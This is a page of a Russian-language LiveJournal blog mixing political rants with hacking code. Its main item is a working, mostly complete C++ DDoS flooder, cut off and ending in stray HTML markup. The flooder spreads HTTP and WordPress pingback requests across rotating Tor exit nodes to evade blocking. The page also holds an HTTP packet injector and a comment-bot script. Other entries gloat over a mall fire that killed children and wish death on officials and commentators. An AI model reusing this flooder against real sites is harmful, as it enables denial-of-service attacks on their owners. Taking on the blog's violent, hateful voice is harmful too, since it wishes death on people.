r4ws0ck's Journal
 
[Most Recent Entries] [Calendar View] [Friends]

Below are 15 journal entries, after skipping by the 60 most recent ones recorded in r4ws0ck's LiveJournal:

    [ Next 20 >> ]
    Sunday, April 1st, 2018
    5:39 pm
    Пишу автоответчик для ботов в комментах у Садкова)))
    Решил использовать библиотеку mechanize
    import mechanize, sys, cookielib, random
    br=mechanize.Browser()
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)
    #для синхронизации cookie
    br.set_cookiejar(cookielib.LWPCookieJar())
    #добавляем user-agent
    br.addheaders=[('User-Agent','Mozilla/5.0')]
    #заходим на страничку
    br.open('https://lj.rossia.org/users/sadkov/')
    #ищем последний пост
    for link in br.links():
    	if '/users/sadkov' in link.url and '.html' in link.url:
    		print link.url
    		break
    #и переходим в него
    br.follow_link(link)
    #ищем первый коммент, на который можно ответить(это коммент 'НАХУЙ С КИЕВА')
    for link in br.links():
    	if 'replyto' in link.url:
    		print link.url
    		break
    #и переходим для добавления ответа
    br.follow_link(link)

    далее надо просто за-submit-ть форму, установив значение текста)
    Thursday, March 29th, 2018
    2:25 pm
    Варламова задерживали гестапо
    причины так и не назвали https://varlamov.ru/2849173.html
    Monday, March 26th, 2018
    11:45 am
    Новость прям душу греет. Русня страдает))
    https://meduza.io/feature/2018/03/25/v-kemerovo-sgorel-torgovyy-tsentr-pogibli-troe-detey-i-zhenschina-glavnoe
    Wednesday, March 21st, 2018
    10:01 pm
    Tuesday, March 20th, 2018
    8:15 pm
    Верховный суд отказал Telegram по праву россиян на тайну переписки
    https://roskomsvoboda.org/37213/ - а еще гестаповцы говорят, что страна свободная, лол. Будет ли Дуров какой-нибудь опрос проводить(блокировать или сливать гэбнюкам)?

    Current Mood: relaxed
    10:12 am
    Глава московского СК подтвердил планы создать «русское ФБР» с функциями СК, МВД и ФСБ
    https://tjournal.ru/67853-glava-moskovskogo-sk-podtverdil-plany-sozdat-russkoe-fbr-s-funkciyami-sk-mvd-i-fsb
    И хуле, в борьбе с терроризмом это никак не поможет, ибо сизифов труд всё это. Может, гестаповцы просто думают, что от нового названия они перестанут ассоциироваться с пытками?
    Thursday, February 22nd, 2018
    10:54 pm
    C++(nfqueue) - http injector, ставящий точку в конце домена.
    https://hastebin.com/quloxoxuhe.cpp
    Компиляция: gcc http_inject.c -o http_inject -lnetfilter_queue;
    Ставим правило iptables на OUTPUT и запускаем: iptables -A OUTPUT -j NFQUEUE --queue-num 0; ./http_inject
    Sunday, February 18th, 2018
    10:55 pm
    Tele2 сосут)))
    https://mobile.twitter.com/unkn0wnerror/status/965176980705566720 - думают, что 2018.navalny.com и navalny.com - один и тот же сайт, так еще и в реестре 2018.navalny.com нет
    Tuesday, February 13th, 2018
    9:54 pm
    Рыбка & Pornhub
    А @cyberloh01 оказался прав(http://lj.rossia.org/users/cyberloh01/197559.html): https://tjournal.ru/amp/66232
    Tuesday, January 2nd, 2018
    6:09 pm
    Блог по ИБ
    Нашел интересный блог по ИБ в телеге: ims0rryblog
    Thursday, October 19th, 2017
    11:13 pm
    Fuck 282
    https://mobile.twitter.com/zapretno/status/920992190947647488
    Таким образом, власти пытаются и атеистов приучить к использованию 282 статьи?


    Current Mood: tired
    Tuesday, September 26th, 2017
    10:54 pm
    Ромео и Джульетта
    В Приморье грузовой поезд насмерть сбил двух молодых людей

    Статья полностью: http://www.newsvl.ru/accidents/2017/09/25/163306/#ixzz4tmyl8iU1 
    Новости Владивостока на VL.RU 

    В универе говорят, что тот пацан был первокурсником на нашем факультете, и суицид совершил намеренно.

    Если они сами выбрали смерть, лично мне не жаль их; ультраправые комментаторы, которые поют про группы смерти, пользуются случаем для создания репрессивных законов, и поэтому я желаю им тоже сдохнуть под рельсами.
    Monday, September 25th, 2017
    8:42 pm
    Вот таким образом эти ебаные чекисты(сука,как же я хочу, чтобы они сдохли) проводят консервативную политику,прикрываясь борьбой с терроризмом и иностранными агентами.


    Current Mood: busy
    Current Music: RGN - Убей мента
    Sunday, September 24th, 2017
    11:27 pm
    tools.h
    https://ghostbin.com/paste/ym4qa 
    via http://enderunix.org/docs/en/rawipspoof/


    Current Mood: cold
    9:29 pm
    -------------- creating torrc file -------- DataDirectory ./tor # TOR directory ControlPort 7051 SocksPort 7052 . . . SocksPort 7300 ---------------- разным socks портам соответствуют разные exit-nodes ---------------- root@localhost# rm -rf ./tor; tor -f ./torrc root@localhost# curl --socks5 127.0.0.1:7060 ipinfo.io root@localhost# curl --socks5 127.0.0.1:7070 ipinfo.io --------------- компиляция: root@localhost# g++ ddos.c -o ddos -std=c++0x -lpthread -lssl -lcrypto -w ------------------------ ddos.c --------------- #include <iostream> #include <sys/socket.h> #include <arpa/inet.h> #include <pthread.h> #include <cstdlib> #include <sys/wait.h> #include <regex> #include <cstring> #include <ctime> #include <unistd.h> #include <openssl/ssl.h> #define NUM 200 /* количество потоков */ bool working; /* состояние работы */ char targetAddrs[5][20]; /* ip-адреса */ char hostnames[3][30]; /* имена хостов */ int targets=2,hostsNum=1; struct arguments { int id; /* номер потока - передается самому потоку */ }; int connection(int sock,const char* ip,int port) { struct sockaddr_in addr; addr.sin_family=AF_INET; /* семейство протоколов */ addr.sin_port=htons(port); /* порт */ addr.sin_addr.s_addr=inet_addr(ip); /* и ip */ return connect(sock,(struct sockaddr*)&addr,sizeof(addr)); } bool socks4Connect(int sock,const char* ip,int port) { char buff[10]; *(unsigned char*)&buff[0]=4; /* 1 байт; версия: в данном случае, socks4 */ *(unsigned char*)&buff[1]=1; /* 1 байт; 1 - connect */ *(unsigned short*)&buff[2]=htons(port); /* 2 байта - порт */ *(unsigned int*)&buff[4]=inet_addr(ip); /* 4 байта - ip */ *(unsigned char*)&buff[8]=0; /* 1 байт - id */ send(sock,buff,9,MSG_NOSIGNAL); /* отправка socks4 */ bzero(&buff,sizeof(buff)); /* обнуление переменной buff */ recv(sock,buff,sizeof(buff),0); /* прием данных в buff */ if(buff[1]=='\x5a') return true; else return false; } int count=0,proxyPort=7052,nodes=20,sl=10,reqs=0,useSSL,connectTimeout,thrDelay; pthread_mutex_t m=PTHREAD_MUTEX_INITIALIZER; /* для синхронного увеличения переменной count - это количество успешно установленных соединений за 10 секунд */ std::string cookies=""; char paths[10][70],ua[70]; int pathsNum=8; void ddosINI() { /* чтение конфигурационного файла формат: <ip-1> <ip-2> <host name> <useSSL>[0 | 1] <timeout> <threads delay> <path-1> ... <path-8> */ FILE* f=fopen("./ddos_ini","r"); if(f==NULL) working=false; fscanf(f,"%s",&targetAddrs[0]); fscanf(f,"%s",&targetAddrs[1]); fscanf(f,"%s",&hostnames[0]); fscanf(f,"%d",&useSSL); fscanf(f,"%d",&connectTimeout); fscanf(f,"%d",&thrDelay); std::cout<<targetAddrs[0]<<" "<<targetAddrs[1]<<" "<<hostnames[0]<<" "<<useSSL<<" "<<connectTimeout<<" "<<thrDelay<<"\n"; for(int i=0;i<8;i++) { fscanf(f,"%s",&paths[i]); std::cout<<paths[i]<<" "; } std::cout<<"\n"; fclose(f); } void newCircuit(int ctrlPort) { int sock=socket(PF_INET,SOCK_STREAM,0); if(connection(sock,"127.0.0.1",ctrlPort)!=-1) { /* connect to TOR ControlPort */ char buff[70]; snprintf(buff,sizeof(buff),"%s","authenticate \"\"\r\nsignal newnym\r\nquit\r\n\r\n"); /* автоматическая смена ip (http://dimio.org/tor-newnym-avtomaticheskaya-smena-ip-v-tor.html) */ send(sock,buff,sizeof(buff),0); } close(sock); } void* ctrlThr(void* arg) { /* контрольный поток */ while(1) { ddosINI(); /* обновление из файла */ sleep(sl); printf("%d requests\n",reqs); snprintf(ua,sizeof(ua),"Mozilla/5.0 (Windows NT %d; WOW64; rv:%d.0) Gecko/20100%d Firefox/%d.0",rand()%4,rand()%4,rand()%100+100,rand()%10+36); if(count<5) { nodes=20+rand()%10; working=false; } /* если успешных соединений меньше 5, то дочерний процесс завершится и все потоки создаются зоново */ else count=0; FILE* f=fopen("./received_cmd","r"); char rcvcmd[30]; fscanf(f,"%s",&rcvcmd); std::cout<<rcvcmd<<"\n"; fclose(f); if(strstr(rcvcmd,"circuit")!=NULL) newCircuit(7051); /* если есть ключевое слово circuit, то смена ip */ f=fopen("./sending_status","w"); /* в файле sending_status количество запросов за 10 секунд */ fprintf(f,"%d requests per %d seconds",reqs,sl); fclose(f); reqs=0; } } const SSL_METHOD* method; SSL_CTX* ctx; void* DoSThread(void* arg) { struct arguments* a=(struct arguments*)arg; int id=a->id; /* номер потока */ char buff[2048],request[5000]; std::string path=paths[rand()%pathsNum], ref=path; std::string rayID=""; /* специальное поле для CloudFlare */ char hostname[30]; snprintf(hostname,sizeof(hostname),"%s",hostnames[id%hostsNum]); std::string protocol="http"; if(useSSL) protocol+="s"; protocol+="://"; while(working) { int sock=socket(PF_INET,SOCK_STREAM,0); if(sock<0) { perror("socket()"); working=false; } int on=1; setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(int*)&on,sizeof(int)); struct timeval tv; tv.tv_sec=connectTimeout; /* receive timeout */ setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv)); if(connection(sock,"127.0.0.1",proxyPort+id%nodes)==-1) { /* равномерное распределение по локальным socks портам, которые прописаны в конфигурационном файле TOR */ perror("connect()"); working=false; } if(socks4Connect(sock,id<100 ? targetAddrs[0] : targetAddrs[1],useSSL ? 443 : 80)) { SSL* ssl; if(useSSL) { /* для установления https соединения */ ssl=SSL_new(ctx); SSL_set_fd(ssl,sock); SSL_connect(ssl); } reqs++; pthread_mutex_lock(&m); count++; pthread_mutex_unlock(&m); bzero(&request,sizeof(request)); char method[5]; char headers[100]; char data[500]; if((rand()%10)%2==0) snprintf(method,sizeof(method),"%s","GET"); else { snprintf(method,sizeof(method),"%s","POST"); snprintf(data,sizeof(data),"<?xml version=\"1.0\"?>" "<methodCall>" "<methodName>pingback.ping</methodName>" "<params>" "<param><value><string>%s%s%s</string></value></param>" "<param><value><string>%s%s%s</string></value></param>" "</params>" "</methodCall>",protocol.c_str(),hostname,path.c_str(),protocol.c_str(),hostname,path.c_str()); snprintf(headers,sizeof(headers),"Content-Length: %d\r\nContent-Type: text/xml\r\n",strlen(data)); } snprintf(request,sizeof(request),"%s %s HTTP/1.1\r\n" "Host: %s\r\n" "Referer: %s%s%s\r\n" "User-Agent: %s\r\n" "%s" "%s" "Cache-Control: no-cache\r\n" "Accept-Language: en-us\r\n" "%s" "Connection: Keep-Alive\r\n\r\n%s",method,path.c_str(),hostname,protocol.c_str(),hostname,ref.c_str(),ua,headers,cookies.c_str(),rayID.c_str(),data); if(useSSL ? SSL_write(ssl,request,sizeof(request))<0 : send(sock,request,sizeof(request),0)==-1) perror("send()"); std::cout<<"\033[32;2mPosting "<<id<<" ("<<method<<" "<<path<<" HTTP/1.1)\033[0m\n"; ref=path; path=paths[rand()%pathsNum]; bzero(&buff,sizeof(buff)); tv.tv_sec=3; setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv)); if(useSSL ? SSL_read(ssl,buff,sizeof(buff))>0 : recv(sock,buff,sizeof(buff),0)>0) { const std::regex responseHeader("HTTP/(.*?)\r\n"); std::smatch sm; std::string res=buff; if(regex_search(res,sm,responseHeader)) std::cout<<"\033[31;2mHTTP/"<<sm.str(1)<<"\033[0m\n"; char* found=strstr(buff,"Set-Cookie: "); if(found!=NULL) cookies=""; found=strstr(buff,"HTTP/1.1 403"); if(found!=NULL) cookies=""; std::string redirect="Location: "; found=strstr(buff,"HTTP/1.1 301"); <span class="hljs-keyword" style="font-weight: bold; color: rgb(68, 68, 68); font-family: monospace; font-size: 15p

    Current Mood: cold
    Current Music: RGN - Мир переполнен
[ Next 20 >> ]
About LJ.Rossia.org